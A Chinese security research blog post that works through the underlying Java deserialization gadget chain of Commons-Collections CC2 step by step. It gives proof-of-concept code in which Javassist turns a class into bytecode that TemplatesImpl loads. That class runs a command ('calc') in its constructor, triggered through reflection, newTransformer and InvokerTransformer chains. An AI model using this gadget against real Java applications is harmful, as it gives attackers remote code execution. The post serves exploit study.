0x00 前言
分析完了CC1和TransformedMap链,接着来看CC2这个链,看了一些文章,但是仅仅是看的话,无法真切的理解其中的含义,所以需要进行自己分析,并且记录其中关键点。这一篇主要是把底层调用遇到的问题讲清楚。
0x01 底层调用链
底层调用链分为两层,一层是Java类字节化,一层是通过TemplatesImpl进行调用。
1.Java类字节化
这里Java字节化选择的是Javassist。
简单的说一下Javassist,Javassist主要是用来做动态生成Java类的库,可以从输入的内容动态的创建库在某些场景中是非常好用的功能。
那么为什么要生成Java类的字节码呢,当然是因为TemplatesImpl中需要一个参数是字节码才可以进行调用。
poc
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.Controller.TestTemplatesImpl");
byte[] bytes = ctClass.toBytecode();
TestTemplatesImpl
package com.Controller;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TestTemplatesImpl extends AbstractTranslet {
public TestTemplatesImpl() {
super();
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
2.TemplatesImpl
这里选择使用TemplatesImpl进行触发,那么肯定是有原因的。
在TemplatesImpl中找到defineTransletClasses方法中,有一个defineClass的地方, 将_bytecodes进行反序列化。defineClass是专门用来加载字节码的。
2.1 defineTransletClasses调用(失败调用)
首先来验证一下,原本的意思是通过暴力反射的方式去调用的,但是调用之后发现没有办法调起。但是还是将整个过程记录下来。
首先来看defineTransletClasses需要的条件。
首先肯定是要先拿到TemplatesImpl。利用反射获取
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
然后再来看defineTransletClasses肯定是需要_bytecodes的值。
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
最后调用defineTransletClasses
Method method2 = TemplatesImpl_instance.getClass().getDeclaredMethod("defineTransletClasses");method2.setAccessible(true);method2.invoke(TemplatesImpl_instance);
然后报错了—
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at com.Controller.CommonCollections1.main(CommonCollections1.java:150)
Caused by: java.lang.NullPointerException
这个错误解决了很久,最后只能通过调试对比的方式来看看问题出现在哪。
最后经过调试,发现在这个位置会报错退出
对比一下,可以发现,少了一个值
那么就还是暴力加进去。
Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());
这里成功运行了,但是没有执行= =
调试之后发现问题了,原来是因为defineTransletClasses只负责做Class.forName的工作,不进行其他工作,所以直接调用不行= =
2.2 getTransletInstance 成功调用
接着可以去找一下defineTransletClasses的调用,找到了getTransletInstance方法,在defineTransletClasses中,类是存储在_class中的,然后接着调用newInstance,就是触发了构造方法。那么我们现在来构造调用getTransletInstance。
还是来看条件,在getTransletInstance中多了一个如果_name为空则退出的条件,那我们还是暴力添加。
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "cs");
最终poc如下:
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.Controller.TestTemplatesImpl");
byte[] bytes = ctClass.toBytecode();
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "cs");
Method method2 = TemplatesImpl_instance.getClass().getDeclaredMethod("getTransletInstance");
method2.setAccessible(true);
method2.invoke(TemplatesImpl_instance);
测试结果:
2.3 newTransformer
在getTransletInstance中,我们是通过暴力反射的方式去调用的,但是在实际情况中,无法进行直接调用,我们需要一个public的可调用的方法,最终在newTransformer中找到了调用getTransletInstance的位置。
所以我们这里可以将调用改为newTransformer。
poc
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.Controller.TestTemplatesImpl");
byte[] bytes = ctClass.toBytecode();
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "cs");
Method method2 = TemplatesImpl_instance.getClass().getDeclaredMethod("newTransformer");
method2.setAccessible(true);
method2.invoke(TemplatesImpl_instance);
运行效果:
3.迭代链
那么既然已经构造了类,那么我们依旧可以使用迭代链的方式进行利用,作用是可以绕过一些调用防护。
迭代链构造
public static void demo10() throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.Controller.TestTemplatesImpl");
byte[] bytes = ctClass.toBytecode();
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "cs");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TemplatesImpl_instance),
new InvokerTransformer("newTransformer",null,null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Object.class);
}
4.顺序调用
还有一种就是不走迭代链,直接使用InvokerTransformer 进行调用也是可以的。
poc:
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.Controller.TestTemplatesImpl");
byte[] bytes = ctClass.toBytecode();
//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "TestTemplatesImpl");
Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());
TemplatesImpl_instance.getClass();
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
transformer.transform(TemplatesImpl_instance);
0x03 使用条件
- 除最新版本无限制
0x04 要点笔记
- javassist 生成字节码
- Templateslmpl中需要有三个参数才可以调用,java字节码,name,tfactory
- 调用点newTransformer-getTransletInstance-defineTransletClasses